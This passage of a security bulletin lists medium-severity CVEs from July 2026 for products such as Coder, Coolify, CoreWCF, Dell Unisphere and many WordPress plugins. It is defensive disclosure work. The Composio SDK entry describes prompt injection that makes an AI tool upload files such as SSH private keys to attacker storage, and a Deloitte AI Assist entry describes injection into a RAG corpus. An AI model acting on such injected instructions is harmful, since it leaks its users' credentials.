| CodeAstro--Ecommerce Website                   | A security flaw has been discovered in CodeAstro Ecommerce Website 1.0. Impacted is an unknown function of the file /customer/my_account.php?my_wishlist. The manipulation of the argument delete_wishlist results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-06 | 6.3        | <a href="#">CVE-2026-14799</a> |
| codename065--Download Manager                  | The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'note_before' and 'note_after' Shortcode Attributes in all versions up to, and including, 3.3.61 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Because wp_kses_post filters post content on save for users without unfiltered_html, only kses-allowed tag and attribute payloads that survive save-time filtering will reach the unescaped sink; however, the sink itself remains unsafe and such payloads can still execute in the browser when a user renders the shortcode.                                                                                                      | 2026-07-09 | 6.4        | <a href="#">CVE-2026-14343</a> |
| coder--coder                                   | Coder allows organizations to provision remote development environments via Terraform. Versions prior to 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, and 2.33.3 are vulnerable to unauthenticated semi-blind Server-Side Request Forgery (SSRF) via the Azure instance identity endpoint ('POST /api/v2/workspaceagents/azure-instance-identity'). An external attacker can force the Coder server to issue HTTP GET requests to arbitrary internal or external hosts by submitting a crafted PKCS#7 signature. The server does not return the target's response body, but error messages in the API response reveal whether the target is reachable and what type of failure occurred. Versions 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, and 2.33.3 patch the issue. As a workaround, if the Azure identity-auth mechanism is not being used then restrict access to the corresponding endpoint | 2026-07-07 | 6.5        | <a href="#">CVE-2026-45796</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | (`/api/v2/workspaceagents/azure-instance-identity`) using ingress firewall and/or proxy ACLs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.17.0 and prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `POST /api/v2/files` converts zip uploads to tar in memory via `CreateTarFromZip`, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer. Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service). The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression. As a workaround, restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of `coderd`.                                                                                                         | 2026-07-07 | 6.5        | <a href="#">CVE-2026-55078</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.33.0 and prior to versions 2.33.8 and 2.34.2, AI Bridge provider handlers read request bodies with `io.ReadAll` without a maximum size so an authenticated user with AI Bridge access could send an arbitrarily large body and exhaust memory. Exploitation requires authenticated access to the AI Bridge endpoints and the impact is limited to availability (denial of service). Versions 2.33.8 and 2.34.2 patch the issue. No known workarounds are available.                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 6.5        | <a href="#">CVE-2026-55434</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the workspace app proxy resolves the target app from `httpapi.RequestHost()` which prefers the `X-Forwarded-Host` header over the real `Host` header. No middleware strips `X-Forwarded-Host` before routing and the header is not browser-forbidden so client-side JavaScript can set it on `fetch()` calls. Practical exploitation requires subdomain app routing (wildcard hostname) enabled, a victim who visits the attacker's shared app and a deployment whose upstream proxy does not strip `X-Forwarded-Host`. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 trusts `X-Forwarded-Host` only from configured trusted proxies and otherwise resolves the routing host from the verified request host. As a workaround, place an upstream reverse proxy that strips or overwrites `X-Forwarded-Host` on untrusted requests. | 2026-07-08 | 5.8        | <a href="#">CVE-2026-55430</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the `CreateSubAgent` RPC did not validate a requested app sharing level against the template's `MaxPortSharingLevel` before persisting workspace apps, letting a workspace owner exceed the administrator's configured maximum. Exploitation requires the ability to register sub-agent apps in a workspace the attacker controls. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 clamps the sub-agent app sharing level to the template's `MaxPortSharingLevel`. As a workaround, disable wildcard app hostnames (`CODER_WILDCARD_ACCESS_URL`) to block subdomain-based app routing.                                                                                                                                                                                                                                              | 2026-07-08 | 5.4        | <a href="#">CVE-2026-55432</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the devcontainer recreate endpoint relied on route middleware that checked only `ActionRead` on the workspace and, unlike the sibling delete endpoint, performed no `ActionUpdate` check before triggering the destructive rebuild. Exploitation requires an existing low-privilege role with access to the target workspace. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 adds an explicit `ActionUpdate` authorization check before the agent is dialed like the delete endpoint. No known workarounds are available.                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 5.4        | <a href="#">CVE-2026-55433</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.30.0 and prior to versions 2.32.7, 2.33.8, and 2.34.2, AI Bridge proxy endpoints authenticate via `Server.IsAuthorized` in `coderd/aibridgedserver`, which validates key format, expiry, secret and deleted or                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-07 | 5.4        | <a href="#">CVE-2026-55435</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working. Practical impact is limited to already-issued API keys of suspended users until those keys are deleted. Versions 2.32.7, 2.33.8, and 2.34.2 patch the issue. As a workaround, on suspension, delete the user's API keys via `DELETE /api/v2/users/{user}/keys`.                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.17, 2.32.7, 2.33.8, and 2.34.2, the `AgentLogLine` dashboard component instantiated `ansi-to-html` without `escapeXML: true` and inserted the result via `dangerouslySetInnerHTML` so HTML embedded in workspace agent log lines was rendered as live markup. Server-side sanitization did not neutralize HTML metacharacters. Exploitation requires a victim to view attacker-controlled agent logs in the dashboard. The fix in versions 2.29.17, 2.32.7, 2.33.8, and 2.34.2 enables `escapeXML: true` so HTML metacharacters are escaped before DOM insertion. No known workarounds are available.                                                                                                                                                                                  | 2026-07-08 | 5.4        | <a href="#">CVE-2026-55437</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.17, 2.32.7, 2.33.8, and 2.34.2, Coder's subdomain-based workspace app proxy allowed the same-owner CORS check to be bypassed. When a workspace-name subdomain segment parsed as a UUID, the workspace was resolved by ID without confirming the URL's username matched the real owner, while the CORS middleware trusted the unverified username in the hostname. Practical exploitation requires subdomain app routing (wildcard hostname) enabled and a victim who visits the attacker's crafted app URL while authenticated. The fix in versions 2.29.17, 2.32.7, 2.33.8, and 2.34.2 validates the subdomain username against the resolved workspace's actual owner and bases the same-owner CORS decision on the authoritative owner identity. No known workarounds are available. | 2026-07-08 | 5.8        | <a href="#">CVE-2026-55438</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.24.0 and prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `NewDataBuilder` in `provisionersdk/proto/dataupload.go` allocated a byte slice using the client-supplied `FileSize` from a `DataUpload` message without an upper-bound check. Although the DRPC wire limit is 4 MiB, the `FileSize` value itself was unconstrained. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates `FileSize` against an upper bound (`MaxFileSize = 100 MiB`) before allocation. As a workaround, restrict access to the provisioner daemon serve endpoint to trusted provisioner daemon service accounts.                                                                                                                                                                           | 2026-07-07 | 4.9        | <a href="#">CVE-2026-55079</a> |
| composer--composer        | Composer is a dependency Manager for the PHP language. Prior to 2.2.29 and 2.10.2, a Composer package bin entry containing .. path segments can resolve outside the package install directory and cause Composer's binary installation flow to chmod an existing host file to a world-readable and world-executable mode during composer install, update, or require. This issue is fixed in versions 2.2.29 and 2.10.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-08 | 6.1        | <a href="#">CVE-2026-59946</a> |
| composer--composer        | Composer is a dependency Manager for the PHP language. Prior to 2.2.29 and 2.10.2, when Composer is run with -vvv debug verbosity, it could print a credential embedded in the username slot of a repository or package URL, such as a GitHub Personal Access Token in https://TOKEN@host/, to debug output because AuthHelper, Url::sanitize, and ProcessExecutor did not sanitize username-only URL credentials. This issue is fixed in versions 2.2.29 and 2.10.2.                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 4.7        | <a href="#">CVE-2026-59947</a> |
| ComposioHQ--composio      | Composio SDK before 0.2.32-beta.283 contains a path validation bypass vulnerability that allows attackers to read and exfiltrate sensitive files by exploiting a missing assertSafeFileUploadPath check in the readFromFileFromDisk function within tool-file-uploads.ts. Attackers can exploit prompt injection to manipulate file_uploadable parameters to reference sensitive paths such as SSH private keys, causing the CLI to upload credential files to attacker-controlled storage.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 6.8        | <a href="#">CVE-2026-59807</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| coollabsio--Coolify       | A vulnerability was detected in coollabsio Coolify up to 4.1.1. The impacted element is an unknown function of the file /app/Policies/ of the component Policy Handler. Performing a manipulation results in missing authorization. Remote exploitation of the attack is possible. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15507</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.466, mutating API validation endpoints are guarded by read ability, allowing read-scoped API tokens to perform state-changing operations such as validating cloud tokens and servers. This issue is fixed in version 4.0.0-beta.466.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-06 | 6.5        | <a href="#">CVE-2026-32718</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the Settings/Updates Livewire component does not check isInstanceAdmin in its mount method, allowing non-admin users to access the Updates settings page and potentially modify auto-update settings or trigger update checks. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-06 | 6.5        | <a href="#">CVE-2026-34050</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, POST /api/feedback has no authentication, no rate limiting, and no input validation, allowing arbitrary content to be forwarded directly to a Discord webhook and enabling spam, content injection, and webhook abuse. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 6.5        | <a href="#">CVE-2026-41899</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the ActivityMonitor Livewire component exposes a public \$activityId property without Livewire's #[Locked] attribute. It loads activities via Activity::find(\$this->activityId) with no authorization or team scoping. Activity IDs are auto-incrementing integers. Any authenticated user can enumerate activity records across all teams and read the full command output from remote SSH processes, which may include secrets, configuration files, and infrastructure details. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                   | 2026-07-06 | 5          | <a href="#">CVE-2026-34167</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the TrustProxies middleware trusts all proxies (\$proxies = '*'), accepting X-Forwarded-Host from any source. The TrustHosts middleware, intended to prevent host header attacks, has a circular caching dependency that prevents it from ever validating hosts. When a password reset is requested, the ResetPassword notification generates the reset URL using url(route(..., false)), which derives the host from the (spoofable) request. An unauthenticated attacker can trigger a password reset email containing a link pointing to an attacker-controlled domain, enabling token theft and account takeover. This issue is fixed in version 4.0.0-beta.471. | 2026-07-07 | 5.3        | <a href="#">CVE-2026-34198</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the GithubApp api_url field is used as the base URL for server-side HTTP requests without allowlisting or private IP blocking, allowing an authenticated user to configure a GitHub App source that causes Coolify to request internal services or cloud metadata endpoints. This issue is reported as fixed in version 4.0.0-beta.471.                                                                                                                                                                                                                                                                                                                              | 2026-07-07 | 4.3        | <a href="#">CVE-2026-34170</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, S3 storage endpoint validation only checks URL format and testConnection() sends a server-side request to the configured endpoint, allowing an authenticated user with storage management permissions to make Coolify request internal or metadata-service URLs. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                                                                                                                                                                                                      | 2026-07-07 | 4.9        | <a href="#">CVE-2026-42147</a> |
| CoreWCF--CoreWCF          | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, a CoreWCF service listening on a Kafka topic stops processing new records from that topic when KafkaTransportPump receives a null-value tombstone record, causing a persistent endpoint denial of                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 6.5        | <a href="#">CVE-2026-54775</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                             | service for attackers with produce permission. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| CoreWCF--<br>CoreWCF                                        | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF NetNamedPipe transport accepts attachment to a pre-existing named pipe instance, allowing local interception of NetNamedPipe traffic when an attacker races NamedPipeListener startup between shared memory GUID publication and service named pipe creation. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 6.5        | <a href="#">CVE-2026-54777</a> |
| CoreWCF--<br>CoreWCF                                        | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF UnixDomainSocket POSIX peer identity resolution uses non-reentrant getpwuid and getgrgid calls, allowing concurrent connections to attribute one connection's identity to another or crash the host process under contention. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 6.2        | <a href="#">CVE-2026-54778</a> |
| CoreWCF--<br>CoreWCF                                        | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF WS-Security signature verification performs a document-wide ds:Signature lookup, allowing an unauthenticated remote attacker to place a SOAP header before wsse:Security and cause WSSecurityOneDotZeroReceiveSecurityHeader to verify an attacker-supplied signature instead of the security header signature. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 5.9        | <a href="#">CVE-2026-54773</a> |
| CoreWCF--<br>CoreWCF                                        | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF SAML token replay protection is inoperative because DefaultTokenReplayCache.TryAdd does not reject duplicate tokens when DetectReplayedTokens is enabled, allowing a captured token to be reused. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 5.9        | <a href="#">CVE-2026-54779</a> |
| CoreWCF--<br>CoreWCF                                        | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, a CoreWCF service hosted on Unix Domain Sockets with PosixIdentity client credentials can accept connections that skip the application/unixposix stream upgrade before dispatching messages, bypassing framing-layer identity checks in UnixPosixIdentitySecurityUpgradeProvider. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 4.4        | <a href="#">CVE-2026-54776</a> |
| corvusinfo--<br>CorvusPay<br>WooCommerce<br>Payment Gateway | The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Payment Bypass via Improper Verification of Cryptographic Signature in all versions up to, and including, 2.7.4. The `corvuspay_success_handler` function registers the REST endpoint `POST /wp-json/corvuspay/success/` with `permission_callback` => `'_return_true'`, and while it calls `\$this->client->validate->signature()` and stores the boolean result in `\$res`, the result is never evaluated in a conditional - it is only written to the debug log - causing execution to unconditionally reach `\$order->payment_complete()` regardless of whether the cryptographic signature is valid. This makes it possible for unauthenticated attackers to mark any pending WooCommerce order as fully paid by sending a POST request to the success endpoint containing an arbitrary or forged signature value, allowing them to obtain goods or services without payment. Because WooCommerce order IDs are sequential integers, target orders are trivially enumerable via the `order_number` POST parameter, requiring no prior knowledge of the victim order. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-9027</a>  |
| corvusinfo--<br>CorvusPay<br>WooCommerce<br>Payment Gateway | The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.7.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to cancel any WooCommerce order placed via the CorvusPay payment method by supplying an arbitrary order number to the /wp-json/corvuspay/cancel/ REST endpoint.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-09 | 5.3        | <a href="#">CVE-2026-9028</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Cotonti--Cotonti                                                            | Cotonti Siena 0.9.26 and earlier contains a stored cross-site scripting vulnerability that allows authenticated users with PFS access to inject arbitrary script payloads by supplying malicious HTML in the ntitle parameter processed through the TXT filter in pfs.main.php. Attackers can create a folder with a crafted title containing script tags that are stored unescaped in the database and execute in the browser of any user who views the folder listing, including administrators.                                                                                                                                                                                                                                                                                                                | 2026-07-09 | 5.4        | <a href="#">CVE-2026-58144</a> |
| coturn--coturn                                                              | Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.13.0, the psd print sessions dump CLI command in coturn takes a filename argument and directly passes it to fopen with no path validation. An authenticated admin with CLI access can overwrite arbitrary files writable by the coturn process because the command string is used as-is after stripping the psd prefix and leading spaces, allowing truncation and overwrite with session dump data. This issue is fixed in version 4.13.0.                                                                                                                                                                                                                                                                                       | 2026-07-10 | 6          | <a href="#">CVE-2026-53449</a> |
| Craft--CMS                                                                  | A vulnerability was detected in Craft CMS up to 4.18.0.1. Affected is the function actionReorderSets of the file src/controllers/GlobalsController.php of the component reorder-sets Endpoint. The manipulation results in authorization bypass. The attack can be executed remotely. Upgrading to version 4.18.1 is able to address this issue. The patch is identified as 9bd05c91e6a7e6da5e949ec41a31c220c059aa04. The affected component should be upgraded.                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 4.3        | <a href="#">CVE-2026-14793</a> |
| Craft--CMS                                                                  | A flaw has been found in Craft CMS up to 4.18.0.1. Affected by this vulnerability is the function actionGetNewUsersData of the file src/controllers/ChartsController.php of the component Charts Endpoint. This manipulation of the argument userGroupId causes improper authorization. The attack is possible to be carried out remotely. Upgrading to version 4.18.1 addresses this issue. Patch name: 9ee53efc1314e6aba32771c66a13e072a246f4ce. It is suggested to upgrade the affected component.                                                                                                                                                                                                                                                                                                             | 2026-07-06 | 4.3        | <a href="#">CVE-2026-14794</a> |
| crewhrm--Employee, Leave and Recruitment Management System Crew HRM         | The Employee, Leave and Recruitment Management System - Crew HRM plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete, archive, unarchive, and duplicate arbitrary job listings - along with their associated stages, meta, addresses, and applications - by supplying an arbitrary integer job_id. The nonce verified by Dispatcher::dispatch() is exposed to all authenticated front-end visitors via wp_head script localization, meaning subscribers can trivially obtain it and satisfy the nonce check without possessing any elevated privilege. | 2026-07-09 | 4.3        | <a href="#">CVE-2026-9237</a>  |
| cservit--affiliate-toolkit Multi-Network Affiliate & Amazon Product Display | The affiliate-toolkit - WP Affiliate Plugin with Amazon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'atkp_product' shortcode in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is a bypass to CVE-2024-10227.                                                                                                                                                                                                                                                                    | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15296</a> |
| davenardella--snap7                                                         | A flaw has been found in davenardella snap7 up to 1.4.3. This affects the function TS7Worker::PerformFunctionRead of the file src/core/s7_server.cpp of the component ReadVar Request Handler. This manipulation causes deserialization. The attack requires access to the local network. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 6.3        | <a href="#">CVE-2026-15105</a> |
| dcooney--Ajax Load More Infinite Scroll, Load More, & Lazy Load             | The WordPress Infinite Scroll - Ajax Load More plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 7.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 4.4        | <a href="#">CVE-2026-15295</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                           | above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| Dell--Unisphere for PowerMax                              | Dell Unisphere for PowerMax, version(s) 10.3.0.5 and prior, contain(s) a path traversal vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability to read arbitrary files.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 6.5        | <a href="#">CVE-2026-54468</a> |
| Dell--Unisphere for PowerMax                              | Dell Unisphere for PowerMax, version(s) 10.3.0.5 and prior contain(s) an Improper Restriction of XML External Entity Reference vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 5.3        | <a href="#">CVE-2026-54470</a> |
| Deloitte--AI Assist for Customer                          | Deloitte AI Assist for Customer disclosed some configuration information through public-facing API endpoints that accepted unauthenticated requests. This information could reduce an attacker's reconnaissance effort. On 2026-03-25, AI Assist for Customer restricted network access and enforced authentication for the previously exposed endpoints.                                                                                                                                                                                                                                                                                           | 2026-07-10 | 5.3        | <a href="#">CVE-2026-57474</a> |
| Deloitte--AI Assist for Customer                          | Deloitte AI Assist for Customer accepted unauthenticated POST requests through public-facing API endpoints that allowed a remote attacker to make limited additions to the configuration. These additions were not used by the system. On 2026-03-25, AI Assist for Customer restricted network access and enforced authentication for the previously exposed endpoints.                                                                                                                                                                                                                                                                            | 2026-07-10 | 5.3        | <a href="#">CVE-2026-57475</a> |
| Deloitte--AI Assist for Customer                          | Deloitte AI Assist for Customer exposed unauthenticated API endpoints that allowed an attacker with knowledge of additional parameters to read from or inject content into the retrieval-augmented generation (RAG) corpus. On 2026-03-25, AI Assist for Customer restricted network access and enforced authentication for the previously exposed endpoints.                                                                                                                                                                                                                                                                                       | 2026-07-10 | 4.8        | <a href="#">CVE-2026-57476</a> |
| devitemslc--Recurio Ultimate Subscription for WooCommerce | The Recurio - Ultimate Subscription for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'data' parameter in all versions up to, and including, 1.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                    | 2026-07-08 | 4.9        | <a href="#">CVE-2026-12936</a> |
| dhlparcel--DHL eCommerce (Benelux) for WooCommerce        | The DHL eCommerce (Benelux) for WooCommerce plugin for WordPress is vulnerable to unauthorized modification and loss of data due to a missing capability check and missing nonce verification on the create_label() and delete_label() functions in versions up to, and including, 2.2.3. These functions are wired to the wp_ajax_dhlpcw_label_create and wp_ajax_dhlpcw_label_delete hooks and act on an attacker-supplied post_id (WooCommerce order ID). This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or delete DHL shipping labels associated with any WooCommerce order on the site. | 2026-07-09 | 4.3        | <a href="#">CVE-2026-9235</a>  |
| Digi International--PortServer TS 1/2/4                   | This vulnerability allows an unauthenticated actor to bypass authentication and gain access to restricted resources on the device.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-07 | 5.9        | <a href="#">CVE-2026-12352</a> |
| digiblogger--BuddyHolis TableSearch                       | The BuddyHolis TableSearch plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'placeholder' parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                             | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15301</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| discourse--discourse                | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, regular users could route direct S3 multipart uploads through ExternalUploadManager into the admin backup store. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                                                                                                  | 2026-07-09 | 6.5        | <a href="#">CVE-2026-46413</a> |
